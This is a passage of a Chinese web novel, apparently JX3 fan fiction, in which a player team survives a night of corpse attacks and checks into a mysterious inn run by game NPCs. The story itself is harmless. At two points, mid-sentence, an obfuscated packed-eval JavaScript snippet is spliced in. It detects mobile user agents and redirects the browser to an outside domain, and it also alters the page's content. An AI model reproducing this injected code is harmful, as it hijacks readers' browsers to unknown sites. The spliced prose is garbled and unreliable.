“你群起来!”柳七刀大喊,“我拖一下!” “知道了!”谢不若也喊,他咬紧牙关,再次双手持刀,孤锋破浪势不可挡,竟将房顶硬生生清出了一小块空隙,柳七刀眼神一凝,就是现在! 楚地悲歌起,四面冷风凄! 西楚悲歌终于发挥出了它的作用,将五人连同小谷一同圈在一起,周围张牙舞爪的尸人扑了上来,却在刀墙上撞得黑血飞溅。还不等他松口气,那被砍掉两条手臂的巨尸突然咆哮一声,低头越过刀墙从上方向柳七刀咬来! “天要亮了!”祁云纵在他身后大吼,“天马上就要亮了!坚持住!” 有人用力在他背后一推,柳七刀一个踉跄单膝触地,寒芒闪过,白狼河北和周流星位一左一右从他的头顶挥出,巨尸的头颅远远地飞了出去。 大量黑血喷涌出来,撒了柳七刀一头一脸,他来不及闪躲,咬着牙提起新亭侯又站了起来,余光看见仇非握着陌刀的手也在微微颤抖,那不是因为恐惧,而是极度的疲惫。 他们毕竟不是完全不知疲倦的游戏角色,激烈的动作和玄甲刀盾的重量已经让她的手臂不堪重负了。 刀墙在这时消失,小圈进入了五十秒的CD,尸人们失去阻隔,再次冲了上来。 “砰、砰!” 这次响起来的是盾立的声音。 柳七刀的视野一片昏暗,根本看不清天是否就要亮了,只是机械地抬起手、挥刀,重复这个动作。 尸人已经淹没了房顶,他们现在的行为,完全就是在跟尸人拼血条,谁血条够长,谁笑到最后。龙葵早就已经放弃了输出,银光照雪次次落在他们身上,减轻着尸人的抓挠和噬咬带来的疼痛。 柳七刀一刀挥下,将扑到祁云纵背后的尸人砍倒,忽然脚下一绊,一个只有半截身子的尸人不知何时已经抱住了他的腿,张开嘴便撕咬下来! 他几乎没有任何犹豫,忍住剧痛反手拔出大刀用力往下一撬,那尸人头颅满嘴鲜血淋漓,连带着一块皮肉被硬生生从他腿上撕了下来,但与此同时,更多的尸人抓住这个空档扑了上来,柳七刀背后一沉,已经被压倒在地,新亭侯脱手而出,摔落在面前。 “我快没蓝了!”龙葵带着哭腔喊道。 背后一轻,是谢不若挥刀上前。柳七刀大口喘着气,努力伸手去够落在不远处的刀。 三十秒……二十秒…… 他听见龙葵闷哼一声,一直以来时不时落在身上的那种温润的保护感忽然消失了,剧烈的疼痛从伤口处涌来,他的身体顿时变得无比沉重,不知道从哪里飞溅过来两滴血,落在他的额头上,慢慢流到眼睛里。 是温热的、鲜红的血。 十秒……五秒…… 在一片鲜红的视野中,柳七刀努力睁大眼睛,握住了新亭侯的刀柄,摇摇晃晃地支撑着自己站起来。有尸人朝他扑来,即将咬向他脖子的瞬间被祁云纵一剑荡开,握剑的手已经满是伤痕。 而柳七刀已经根本没有力气去确认同伴的位置了,几乎是抬起刀的一刹那,他失去了支撑力,便再次重重地摔倒在地上。 但那一秒已经足够了。 几乎快被尸人淹没的房顶,再度出现了刀气组成的刀墙,紫电雷霆……坚不可摧。 便在这时候,一缕微光透过铅灰色的层云打了下来。 旭日破晓。 尸人们似乎怕极了阳光,哀嚎着纷纷散开,不顾一切地往地底下钻去。一声巨响,是仇非的盾终于脱手,砸在了地上。她摇晃了几下身形,将陌刀往房顶一插,慢慢地扶着刀柄坐了下来。 这就……活下来了? 她想去查看同伴的情况,但一泄了气,便再也提不起来了,玄甲此刻仿佛重逾千斤。 谢不若的鹦鹉倒是伶俐,此刻拍打着翅膀飞了一圈,落回到谢不若的肩上:“没大事!没大事!” 听到它这么说,仇非刚放下心,便发现谢不若对鹦鹉的话毫无反应,双手握刀,半跪在她前方。 从尸人退去开始,他似乎维持这个状态很久了。 一种不祥的预感窜上仇非心头,她咬紧了牙,硬是又从地上爬起来,伸手一拍谢不若的肩膀:“你……” 她一拍之下,谢不若竟然身子一歪,重重地倒在了地上。 唐刀脱手,落在了血泊里。 仇非瞳孔骤缩,便听见地上的谢不若:“zzzzZZZZ……” 她面无表情地收回手,也躺下了。 浪费感情。 柳七刀是被吓醒的,一种阴冷的感觉扑面而来,他睁开眼,便看见小谷面无表情地盯着他。 这状态他可太熟悉了,立刻爬起来给小姑奶奶递上肉和大饼,看她吃完才放下心。 这时候,柳七刀才感觉到身上各处传来的剧痛。尸人的爪子带毒,伤口不仅痛,还钻心的痒,好像有密密麻麻的蚂蚁在噬咬,那滋味真是比死还难受。 他龇牙咧嘴地朝旁边一看,大家看起来都非常狼狈,头发散乱,满脸血痕,破破烂烂的校服上满是腐臭的黏液;龙葵正在给祁云纵疗伤,仇非靠着盾刀发呆,谢不若四仰八叉地睡在地上,还没醒。 “下一个轮到你,先忍忍。”龙葵看到他的表情,扑哧一声笑出来。 “好嘞。”柳七刀说,一种幸福感油然而生,几乎冲淡了身上的疼痛。 大家都没事,真是太好了。 连惨白冰凉的阳光在这一夜过后似乎都变得温暖起来,照在身上,让柳七刀只想高歌一曲《赞美太阳》。 旁边传来响动,原来是谢不若醒了。他一脸怀疑人生的表情,躺在那里没动。 “bro,想什么呢。”柳七刀问他。 “我感觉我要死了。”谢不若双眼放空,“好像有十个二百斤的壮汉在我身上跳了一晚上的小鸡恰恰舞……你是不是趁我睡觉的时候踹我了?” “冤枉啊。”柳七刀说,看着自己被尸人抓挠得伤痕累累的腿,“我都快半身不遂了,哪还有工夫踹你。” “那就是祁云纵。”谢不若说,“我就知道,他们剑纯对我们刀宗不满很久了,可算是让他找到报复的机会了。” “血口喷人。”祁云纵抬手要打他,被龙葵在脑袋上轻拍一下:“别乱动!” 他们在这边半死不活地贫嘴,却突然发现仇非站了起来,远远地在眺望什么。 “怎么了?”龙葵问。 仇非转过头,淡淡地笑了笑:“看到营地了。” 卯、辰、巳、午,不知不觉,一天已经过去。 《第一天·湘竹溪》 完 5. 第一天·奖励关卡(五) 之前刚进到这张地图时来回徘徊了不下数十遍,柳七刀记得很清楚,溪边本来是一片空地,什么都没有。 但现在,这片空地上赫然出现了一顶帐篷,帐篷前还站着个头戴斗笠的NPC。 “这是蒋玉凤。”龙葵给他们介绍,“浪客行的接引人,游戏里每一关结束之后可以在这里修整体力、存取物品。” “她……不会跟小谷一样,突然变成红名吧。”谢不若心有余悸,一把拉住柳七刀,“咱们先别过去,观望一下。” 仇非叹了口气:“放心吧。游戏里的蒋玉凤在头像底下有一个无敌的buff,‘无敌是多么寂寞’。如果连她都变成了红名,那我们也没有什么反抗的必要了,直接等死就行。” ——这更不放心了好吗! 但蒋玉凤看起来是个很友善的NPC,他们走近了,才发现她脸上带着淡淡的微笑,那微笑看起来非常温和,令人不由得心生好感。 这时候,一直跟随着柳七刀的小谷突然径直往前走去:“饿得走不动了,不走了不走了!” 大家对“饿”已经产生了PTSD,听到她这么说,立刻纷纷掏饼掏肉,生怕掏晚了她又开始变身。然而小谷对他们捧到眼前的食物看都不看,只是翕动鼻翼,露出一副陶醉的神情。 这种神色在她童稚的脸上非常有违和感,柳七刀一愣,便看到她左右扭头,似乎在寻找什么。 “好香,在哪里……”小谷乌黑空洞的大眼睛慢慢扫过每个人的脸,“好香好香,像是姐姐的味道……” 她话音未落,忽然就跑开了,身影很快消失在竹林里。这是小谷第二次说出这句话了,几个人都有种不寒而栗的感觉,唯有仇非表情淡然,发现他们都在害怕,便解释道:“这是小谷同行结束后的一段剧情,她会给玩家留下谢礼,后面还能再遇到她。” 知道小谷就这么离开了,几个人还有些不习惯,但一听到仇非说有掉落,那点不习惯立刻被抛到九霄云外,大家如狼似虎地看着她留下的小包裹,双眼放光。 柳七刀说:“bro,欧皇,冲!” 谢不若伸手去摸,愣了一下:“捡不起来。” “柳七刀,你试试。”龙葵道,“小谷一直是跟着你的,也许只有你能摸。” 柳七刀点点头,上前一步,向包裹伸出手。包裹只是个虚影,他的手穿过去,还是那种冰冰凉凉的舒适感,然后抓住了……一张纸条? 看到他抽回手,几个人都好奇地围上来看,然后失望地发现,那掉落的确只是一张纸条。 “这什么?”柳七刀迷茫道,“小谷的涂鸦?” 纸上乱七八糟地涂着一堆黑色的线条,看起来确实很像涂鸦。从线条之间的分布距离来看,这似乎是两幅图,第一幅很像两把餐叉中间放着一只汤勺,第二幅则生动一些,一眼就能看出来,是一条鱼。 要说这条鱼画得生动,它的笔触却很简单;但说它简单,这鱼的鱼鳞和鱼鳍又都被明确地画了出来,显然很严谨。 “小谷想吃鱼?”谢不若看了半天,得出结论。 虽然很离谱,但包括仇非在内的众人都是这么想的,因为实在是没有更好的解释了…… 仇非问:“拿起纸条的时候没有什么说明么?” “有倒是有。”柳七刀说,“‘你对小谷真好,小谷很喜欢你,所以抹除了它的负面作用’。就这么一句话。” “……合着这纸条原来还有debuff。”祁云纵扶额,“以后摸东西尽量别让柳七刀来。” 柳七刀欲哭无泪,他也不想摸出这玩意儿啊。 正说话间,被他拿在手上的纸条竟然自己分解成了点点金光,隐没进了他的身体里。这个变化把大家都惊了一下,龙葵赶紧问:“你没哪里不舒服吧?” 柳七刀迷茫地摇摇头,他没有任何感觉。 “金光,应该是好东西。”谢不若笃定道。 他们还研究着,忽然闻到一股香味。这香味非常诱人,而且层次丰富,和烤饼烤熏肉完全不是一个等级的,几个人的肚子顿时就抽搐起来,扭头一看,竟然是蒋玉凤抽出两根铁签,串上肉菜彩椒,开始在篝火上烧烤。 “她是等烦了吗?”祁云纵低声问。 “这NPC本来就会这样。”仇非回答。但是那烧烤的味道太香太浓烈了,比游戏里的冲击力大太多了,尤其是在几个人几乎没怎么吃东西、把口粮全都贡献给了小谷的情况下,此刻再听着烤肉在高温下滴出油脂、落在篝火中噼噼啪啪的声音,简直堪称折磨。 蒋玉凤对他们眼里的渴望视而不见,微笑着翻转铁签,烤串立刻散发出更加浓烈的香味。 “绝对是等烦了。”谢不若垮起脸。 几人走过去,蒋玉凤以温和的眼神注视着他们,手上无情地翻转着烤串。 “恭喜你们完成了一段旅程……”她开口说,声音沉稳而温柔,有一种独特的、隽永的味道,好像是从遥远的天际传来的,“这是你们的第一天,小队公共背包和仓库权限已经解锁。你们可以在我这里进行仓储存取,也可以进行小队管理。接下来,我将送你们前往有间客栈进行休息,我会在那里的终点处等待你们继续启程。” 这段话信息量很大,但每个字似乎都带着不容忽视的奇特力量,牢牢地刻进了他们的脑海里。 仇非迅速提取出重点:“公共背包,仓库,管理小队,有间客栈。” 公共背包和仓库都是大家目前非常需要的东西,众人脸上纷纷露出笑容,但管理小队就有些让人疑惑了。谢不若发问:“管理小队是什么意思?” 蒋玉凤微笑:“进行小队的人员重组,或者对小队进行重命名。” “那可以问一下我们现在的队名吗?”龙葵问。 “抱朴纯苍霸药刀队。”蒋玉凤道。 祁云纵立刻说:“这名字挺好的,不用改。” 他在众人无声的注视中败下阵来。 “叫什么呢?”龙葵很喜欢这种起名的活动,开始认真思考。 柳七刀则四处寻找补给宝箱,终于在篝火堆后面看到了它。那箱子散发着莹莹紫光,看起来就像有不少好东西的样子。 “bro!”他召唤谢不若,谢不若会意,伸手一捞,露出扭曲的神情。 “两千玉签,直接进背包了。”他皱起眉头嘟囔道,“玉签是什么?为什么不是凝云势!” 仇非却眉毛一挑:“玉签是浪客行的产出货币,可以在有间客栈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蒋玉凤非常耐心,温和地为她逐个解答:“每一天结束都可以进入有间客栈。侠士们在有间客栈停留的时长由小队自行决定,但上限为十二时辰,超时则强制进入下一天,在客栈停留的时长不计入侠士们的通关天数中。” 她停顿了一下,才继续用那沉稳而温和的声音道:“在侠士们遵守规则的情况下,有间客栈绝对安全。” 听到她这么说,几个人心里就是咯噔一声,柳七刀追问:“什么规则?不会是类似于动物园守则那样的怪谈吧!” 蒋玉凤答非所问:“以法正人曰规,制度品式曰则,此乃规则;求计谋度曰规,天理不差曰则,此亦是规则。侠士问的是什么规则呢?” “姐姐,不要用一个谜语来回答另一个谜语啊。”谢不若说,“你看我们像是能听懂的样子吗?无论是什么规则,都告诉我们呗。” “我怎么觉得她是因为听不懂‘动物园守则’,就故意也说了句我们不太懂的话报复呢。”祁云纵对柳七刀说,柳七刀惊悚地看着他:你不要说出来啊! 好在蒋玉凤非常有涵养,就像没听见一样,淡淡道:“倒是也有一些不知从何处传来的古怪规则,比如不问言术求签、不与胡商同座、不向琴师借琴等,这些就太多了,我也不能一一述明。” “你说我们遵守规则才能安全,指的就是这些规则吗?”仇非问。 蒋玉凤含笑摇头:“并非。” 仇非继续追问:“那么有间客栈里,有什么我们必须遵守、不能违反的规则吗?” “有间客栈内,有且仅有一条规则。”蒋玉凤平和地微笑道,“不同队伍间的侠士,不能在该地图内相互攻击。” 6. 第一天·奖励关卡(六) 春寒渡水,夜色临山。 对于沉迷碰瓷奇遇舞众生的人来说,这一幕场景再熟悉不过了。黄叶瑟瑟落下,小道蜿蜒向前,一条长河绕过高坡,远远看到一盏昏黄的驿灯,映亮了饱经风霜的“茶”字招牌。 这看惯了的场景不免给人以亲切感,但定睛一看,就会发现,这里和游戏并不完全相同。最难以忽视的,就是那间木檐灰瓦的客栈,它要比游戏中两层的小客栈高得多、也大得多,屋檐甚至已经隐入了漫天凝滞的灰雾之中,檐角挂着的两盏灯笼在雾里透出暗淡的光。 “好安静。”龙葵说。 因为整片天空都被暗压压的灰色雾气所遮蔽了,根本判断不出这里是白天还是夜晚。四周一片安静,客栈明明坐落在临水的沙洲上,却听不到任何水声,仿佛这条被笼罩在雾霭中的、宽阔而不见头尾的大河是一潭死水。 谢不若的鹦鹉低低地飞了一圈儿,落回到他的手上:“外面没人!外面没人!” 几人对视一眼,便向客栈内走去。 仇非、谢不若与龙葵先后进去,柳七刀走在第四位,即将踏进客栈大门的时候,他的心里突然产生了一种怪异的感觉。 柳七刀仰头看向客栈,它高大如一座小山,却是一种不能用“宏伟”或者“壮观”来形容的巨大,至少这一刻,他的心中完全没有任何赞叹或惊讶的情绪。相反,他甚至感觉到了一刹那的危机感,仿佛这间客栈是一个活物,屋檐上两盏灯笼就是它的眼睛,居高临下地、冷冷地注视着经过它的众生,张开宛如大口的黑幽幽的门洞,等待疲倦的旅人自己投入它的腹中。 他也看过不少无限流小说,深知不能放过任何一霎的危险预感,当即便要转头拦住走在队伍末尾的祁云纵。但柳七刀这一转身,忽然看到,不知何时,那萦绕在天际的灰雾竟然无声无息地逼近了,他们来时的路和客栈周围的风景都被吞没在茫茫的大雾之中。 不对劲——他刚生出这样的想法,忽然看见有个白晃晃的影子在雾中一闪而过,柳七刀皱眉凝视想要看清楚些,却赫然发现,那是一只纤细的手,提了只晃晃悠悠的纸扎灯笼,那只手与灯笼一样都是惨白惨白的,灯笼纸上却溅着几滴暗沉泛黑的血。 柳七刀背后一凉,便听到一个声音幽幽地笑着,这声音非男非女,不老不幼,说不出的诡异,仿佛离得很远,又好像就贴在他的耳边。 “大侠……你看到我了吗?” 他知道事情不妙,想要转身,手脚却在这时候都变得冰凉麻木起来,思绪一片混沌,不受控制地就要张开嘴。 “你看到我了吧……”那声音不紧不慢地追着柳七刀,“你看到了,对吗?告诉我……” 柳七刀的大脑还保留一丝清明,他直觉千万不能回答这个问题!但极度的寒冷已经将他整个人变得无比僵硬,仿佛和四肢百骸都失去了联系,根本没法控制自己,只能感到自己的嘴缓缓张开,说:“我——” “我不是你的宿敌,遗憾是你的宿命!” 祁云纵一把拍在他肩膀上,强硬地推着他便向客栈门里走去,一边走一边唱道,“怪只怪你没运气,遇见我在决胜局!” 柳七刀完全控制不了自己的双腿,他感觉那股莫名的寒意想要往外走,却根本抵不过祁云纵抵在他背后的手臂的力气,只能被强行推着踉踉跄跄地走进客栈黑黢黢的大门内。他努力转动唯一还能动的眼睛,便看到祁云纵表情紧绷,面色肃然,显然已经意识到了他的不对劲。 那声音似乎不甘心,尖叫着想继续诱使柳七刀回答问题,但祁云纵唱歌的声音更大,什么在眼前挥之不去的白手白灯笼通通变成了刷屏的黄鸡大笑,柳七刀越往里走就感觉身上越来越暖,他从来没觉得《狂》这么好听过。 “这不是桀骜不羁这是天下无敌!” 随着祁云纵一段唱完,他们也一步跨进了有间客栈,耀眼明亮的灯光一瞬间洒下来,柳七刀终于找回了身体的控制权,这时才发现自己已经浑身冷汗,头发湿漉漉地贴在脖颈上。 他宛如溺水得救一般大口大口地喘着气,刚回过神来,就看到三个队友正震惊地看着他们俩。 “……”仇非露出一言难尽的神情,“你俩什么毛病……” 柳七刀环顾四周,顿时沉默了。 这客栈大堂竟然出奇宽敞,一眼看不到头,连片的灯烛明快而温暖,桌椅成排,光亮整洁。 但坐满了不同门派的玩家。 现在这些玩家以和三个队友们相同的神色,沉默地注视着勾肩搭背唱着《狂》闯进来的祁云纵和柳七刀,在这死寂一般的沉默中,角落里的一个丐帮犹豫着抬起手,鼓了鼓掌。 丐帮的掌声没能拯救祁云纵和柳七刀,反而让现场气氛更加尴尬了。他的唐门队友见势不妙,赶紧把还在专注捧场的丐帮一把按住。 “好感动。”柳七刀小声说,“你们仨还和我俩站在一起。” “废话。”谢不若也小声说,“人家都是五个人一起坐,长了眼睛的都知道咱们是一队的。” “……” 祁云纵痛苦地抹了把脸。 “你们到底什么情况,怎么搞那么慢?”龙葵问。柳七刀赶紧把刚刚发生的事情说了,这时候才觉得一阵一阵的后怕。 “蒋玉凤说有间客栈绝对安全……所以客栈外面并不属于安全区。”仇非听完,便说,“那灰雾也很奇怪,听七刀的描述,似乎是它带来了危险。” “我也觉得是。”柳七刀想起在灰雾中看到的画面,仍然心有余悸,“我看到的白灯笼好像是白事时候用的那种,现在回想起来,那只提着灯笼的手,也白得像纸一样……” 不必多说,大家对传统中式恐怖心里都很有数。 “走吧,去找老板娘。”仇非说,“客栈规矩,每个队伍到了之后都要去点点卯。” 柳七刀跟着他们,顺着客栈大堂的边缘向柜台走去,余光看到其他玩家们各自低声交谈着。他不禁说:“这里的氛围和我想的不太一样,我以为大家都会很热情。” “蒋玉凤都说了那样的规则,明摆着暗示后面可能会PVP。”龙葵小声说,“所以大家都很低调,也不想引人注目。其实我们一开始也准备这样的,没想到你们……” 她欲言又止。 “柳七刀,你还我一世英名。”祁云纵咬牙切齿。 柳七刀十分愧疚:“那要不然,等会儿我站到桌子上高歌一曲……” 他想了半天什么歌比较适合,最后眼睛一亮:“《苍云粑粑》?在剑网三——” “你敢唱试试!”仇非冷笑道。 说话间,他们已经走到了客栈的柜台前,柜台后站着的就是他们非常熟悉的NPC,将茶馆开遍大唐的传奇老板,赵云睿。 离开了游戏建模,她看起来姿容绰约、柳眉凤目,笑容温柔而不乏英气,又带着些淡淡的悲悯,气质十分特别,灯烛辉映之下浑身沐着温暖的光,竟然让人移不开视线。被她温柔地注视着,柳七刀顿时有点脸红,他努力挪开视线,发现谢不若这小子用半截破烂斗笠把脸遮得严严实实,可惜耳朵红得要滴血;连龙葵和仇非看着她,都有点晃神。 ——对,他们刚从湘竹溪出来,身上还破破烂烂,沾满血与脓液;柳七刀顿时就不知道自己的手该往哪放了,他偷眼一瞧,连最镇定的仇非都有些不自在。 “老板娘,我们到了。”祁云纵说,又问其他人,“你们怎么不说话?” “……”没人理他。 “一路奔波,也是辛苦了,快些休息吧。”赵云睿朗声道,随着话音落下,几人身上残破不堪的校服竟然瞬间整洁如初,她又指了指柜台上一张纸,“将队伍名字写上即可。” 顿了顿,赵云睿又取出一只鸡距笔与一只炭笔:“若是不习惯,侠士也可换用炭笔。” ——她好体贴!这是四个人心里共同的想法。 “那我写了啊。”祁云纵直接拿起笔,在纸上大笔一挥留下“饿了么”三个字,“好了,谢谢老板娘。” ——不解风情的剑纯!四个人又同时在心里想。 “你们瞪我干嘛。”祁云纵莫名其妙,“哦对!差点忘记了。” 龙葵叹了口气,对他接下来要说的话并没有什么期待,果然,就听见祁云纵说: “柳七刀待会站桌子上唱歌啊……要不就唱个《江山雪》吧,你唱歌跑调吗?” “我应该……不跑……吧……”柳七刀艰难地说,感觉脸热得要冒蒸汽。他也不知道这是什么情况,看见赵云睿就有一种很亲切的感觉,仿佛回到了家一样,很容易就觉得不好意思;再看看其他人,似乎也或多或少有跟他同样的感觉,当然,祁云纵除外。 “唱歌也未尝不可,但恐怕要先等一会儿了。”赵云睿朝他一笑,“各位侠士都到齐了,孟秋还有些话要与大家说,请先回到大堂座位上去吧。” 他们听完赵云睿的话,又晕晕乎乎往外走,越走感觉越清醒。 “孟秋是谁?”谢不若拿手给自己的脸扇风降温,小声问。 仇非答:“客栈里的NPC,具体是做什么的我也不知道。” 这时,赵云睿忽然叫住柳七刀:“侠士稍等。” 柳七刀一愣,便看到赵云睿走上前来,右手在他肩膀上轻轻拂了拂,好像只是掸去了一粒灰尘,但随着她的动作,柳七刀之前撞邪时残留在身上的阴冷和不适感顿时一干二净。 “夜深雾重,难免着凉,还是不要出客栈的好。”她意味深长地笑道。 等柳七刀同手同脚地追上其他人,到桌边坐下,便听到仇非说:“赵云睿不对。” “怎么不对?”谢不若说,“我觉得很好啊,我明明看到你也脸红了。” 仇非冷冷地瞪了他一眼:“这不像是游戏里的那个赵云睿。我建议,大家今后不要再将这些NPC与我们熟知的角色联系起来,以免丧失防备心。” “哦!”谢不若挠头,“我们这里只有你是剧情党吧,放心,我们跟她根本都不熟,我也就碰瓷奇遇的时候见过这个NPC,出了奇遇就没注意了。” “……”连续多年勤勤恳恳碰瓷天涯无归与茶馆奇缘无果的仇非不想理他。 他们正说话间,便看到一个小女孩走了出来,大概就是赵云睿口中的孟秋。她长得十分乖巧可爱,脸蛋圆圆,声音倒是响亮:“大家都到齐啦!恭喜你们全员安全度过第一天哦!” 柳七刀闻言,回头看了一下,发现也有不少人和他一样在估算全部玩家的数量,但这大堂很奇怪,越接近边缘就越看不清晰,仿佛刻意在模糊他们的认知。 “欢迎大家入住有间客栈,下面我来给大家简单介绍一下。”孟秋拍拍小手,高声说,“客栈全天开放,禁止逞凶斗狠,晚上没有宵禁,但建议不要出门。一日三餐是随时提供的,大家饿了的话,直接去后厨找金大厨就可以啦,不过金大厨不接受点餐哦。至于我们提供的这些食宿费用——全部免费!” 她停顿了一下,才在玩家们的注视中甜甜一笑,继续说:“当然,只针对每次能够回到客栈的侠士们。” 一众玩家都听懂了这句话隐含的意思,气氛一时有些凝重。 免费的食宿,就看你有没有命去享受了。 “当然啦,这里也有消费途径。每度过一天后,队伍都能获得一千玉签,大家可以用玉签从老板娘那里换很多很多很多很多东西,你想要的全都有!至于住宿,请自行去二楼挑选房间,都是内外套房,方便小队同住。”孟秋眨眨眼,继续说,“有马的侠士,请将马牵到马厩;有鸟的侠士,请将鸟放入羽房。不过大家记住,不能住到三楼往上哦,那里都是已经度过了很多天的侠士。” 这句话着实让众人愣住了,立刻有人问:“我们不都是第一天么?怎么会有人度过了很多天?” 孟秋理所当然道:“浪客行一共有八天,但第九天也不一定要离开啊。他们一直不离开,就要一直重复这个循环,这不是很正常么?” 看众人都在低头思考,她又补充道:“忘记说啦,从第二天起,大家经历的事件就不再相同了,不要想着去借鉴其他人的经验呀。” 又有人问:“后面会出现玩家……不是,侠士之间竞争的情况吗?” 孟秋回答:“这么多天,大家难免要碰到一起,对不?至于是和和气气的还是怎么样,那我说了可不算,得看你们自己。” 这句话很重要,起码透露出了一个信息:玩家间可以自由决定是竞争还是合作。 大堂里立刻响起了小声的议论,不少人向四周投去打量的目光。 “我们会遇到那些已经通关了二周目、甚至三周目的队伍吗?”又有人在角落里发声,“他们从技能和经验上来说都比我们要强,我们怎么和他们竞争?” 孟秋俏皮地歪歪头:“越到后面几天,越有这种可能哦。客栈的规则已经在尽量保护大家了,至于客栈之外的事情,老板娘也没有办法。当然啦,这些鬲从之流的数量并不是很多,如果你实在不想遇到他们,也可以试试求神拜佛。” “这简直就是以更强大的对手,强迫同一轮的玩家们进行合作。”仇非低声说。 “‘割葱知了’是什么?”他们旁边桌上,那个给祁云纵捧过场的丐帮问。 “……”孟秋的小脸上露出了无语的神色,没理他,开始抱怨客栈后面张老汉养的猪吃太多、金宝儿和青青贪玩误了干活等小事儿。 “是‘鬲从’之流。”他同桌的长歌队友淡淡回答道,“西周时周厉王姬胡欲征鬲从之地,约定了价目却迟迟没有给付,于是鬲从四次三番前去讨要,得到补偿后才出让土地。有人便以这段故事为引申,以‘鬲从’比喻钉子户。” “卧槽,不愧是长歌门玩家。”谢不若低声对众人道,“这气质,和咱们非姐有一拼。” 仇非摇头:“我可不知道这个典故。” 她皱起眉看着那桌人,唐门、丐帮、长歌、和尚,还有个毒萝,这却是她在客栈里见到的第一个少女体型。 让仇非觉得最值得注意的是,那长歌讲完这段话,他的队友们反应却都很平淡,似乎早就习以为常,就连那戴着云幕遮的丐帮也只是说了句“原来如此”,便继续转过脸去听孟秋絮絮叨叨了。 “要注意他们一下么?”龙葵轻声问。 仇非点点头:“那个长歌应当学识很渊博。” 谢不若则说:“我觉得那边的人也要注意一下。” 他指的是他们另一边的一支队伍,这支队伍的配置便很有意思了,天策、藏剑、冰心、花间,还有一个蓬莱。 此时,天策藏剑冰心花间正在激烈低声争吵,蓬莱面无表情,似乎灵魂已经神游天外。 柳七刀细听了一会儿,发现他们在吵的内容是谁多吃了一块肉。辩论阵线非常精彩,花间痛骂天策,天策和藏剑联合起来反驳花间,冰心力挺花间,藏剑倒戈冰心,天策众矢之的,冰心倒戈天策,花间选择加入,藏剑要被送进疯狂星期四,冰心施以援手,策花反目成仇,藏秀分道扬镳,四人各自为战,最后矛头指向蓬莱,大家一致认为罪魁祸首是雕兄,握手言和,蓬莱全程没有参与,只在最后背了个锅。 “这一队有什么需要注意的?”柳七刀摸不着头脑。 “他们很搞笑。”谢不若正色且严肃,“和我们撞型了。” “……” “其实我想,大概是也有很多人在注意我们。”龙葵叹了口气,“毕竟那个出场方式,想忘记都难。” “既然如此,那干脆一狂到底算了。”祁云纵已经走出了丢人的阴霾,或者说,他决定破罐子破摔,“我们从现在开始走龙傲天路线如何?” “已经……无所谓了……”仇非露出了身心俱疲的神情,“只要你等会儿别让柳七刀上桌唱歌,一切都好说。” “交给我!”孟秋的位置距离谢不若最近,他直接发问,“小丫头,后面几天的难度都和第一天一样,还是递增?” 孟秋的碎碎念被打断,有点不开心,嘟着嘴回答:“是越来越难哦。” 谢不若紧接着又问:“那第一天这个难度,难么?既然我们第一天都是湘竹溪这个地图,谁强谁弱是不是也能分出来?” 孟秋眨眨眼,小脸上闪过一丝狡黠,对谢不若说:“你想知道吗?” “等等——”仇非突然坐直身体意欲阻止,但谢不若已经飞速地点了头。 孟秋大声说:“那当然是你们最弱!第一天是最简单的,看看,这么多组队伍,只有你们回来的最晚最狼狈、浑身都是伤还臭臭的,真是笨死啦!我都不知道你们是怎么过的关!” “……” 感受着周围人投来的意味深长的目光,别说他们几个人,连鹦鹉都把头扎进翅膀底下,恨不得当场两脚一蹬,与世长辞。 有其他桌的人叫孟秋,孟秋蹦蹦跳跳地过去了。 她走后好一会儿,柳七刀才敢抬头。 “这小姑娘……”龙葵捂着脸,无力道,“也不知道给人留点面子。” “很正常,我们是硬打出来的,一定还有其他的通关线索和通关方式,只是我们没找到。”仇非说。 柳七刀和谢不若有点心虚地对视一眼,在龙葵等人到来之前,他们光被小谷在屁股后面追着跑了,基本上什么都没做。 “对了,七刀。”龙葵突然眼前一亮,小声问,“你还记得小谷给你的那张纸条上面的图案吗?” “那个餐具和鱼?”柳七刀说,也压低了音量,“还有印象,怎么了?” 龙葵道:“可以问问孟秋,都是NPC小女孩,也许她会知道那是什么意思。” 仇非颔首,赞同了这个说法,又补充:“等人少的时候再问。现在大多数人都在问她关于兑换东西的事情……我猜,一定有技能可以换,不然单凭随机掉落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691154|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法应对难度提升后的天数。” 说话间,他们便看到陆陆续续有队伍起身,朝赵云睿那边去了。这些先一步行动的队伍吸引了大多数人的关注,但也有些小队选择直接上楼休息。 “现在还敢留在大堂里的,差不多都是要收集情报,或对自己实力很有自信、不怕打量的人。”仇非看了一眼,说。 “我们是第一种还是第二种?”祁云纵问。 “都不是,所以我们也先回去。”仇非已经站起来了,“等晚点儿再下楼。” “咱们队伍里五个脑子,一个是龙葵的,半个是祁云纵的,剩下三个半全长仇非身上了。”谢不若悄悄对柳七刀说。 “谢邀,我觉得我至少有半个大脑。”柳七刀也悄悄对他说,“你负半个。” “那我呢?我怎么就半个脑子了?”祁云纵走在后面,莫名其妙,“我起码得尊享一个吧。” 柳七刀冲他摇摇头:“情商也是大脑的一部分。” 谢不若则捂住头:“不知道为什么,一看到你就觉得头好痒,难道是要长脑子了?!” “……”龙葵听完全程,无语道,“我看这三个人都凑不出一个脑子。” 仇非深以为然,叹了口气:“起码他们还挺有自知之明的。” 一行人上了二楼,选了个房间。如孟秋所说的一样,这里的房间都是套房,仇非和龙葵两个姑娘可以住里间。客栈内各种用具也是一应俱全,除了热水要自己用柴火灶烧之外,一切都还挺方便的。 他们简单地梳洗休息了一下,才再次下楼。这次大堂里的人就少了很多,比较引人注目的是之前吵架的天策那一队,他们似乎从始至终都没动过,依然坐在那里吵。 不会还是肉的事情吧……柳七刀好奇得不得了,又怕过多的打量招来麻烦,便忍痛收回目光,结果还没走几步,迎面又撞上另一支队伍。 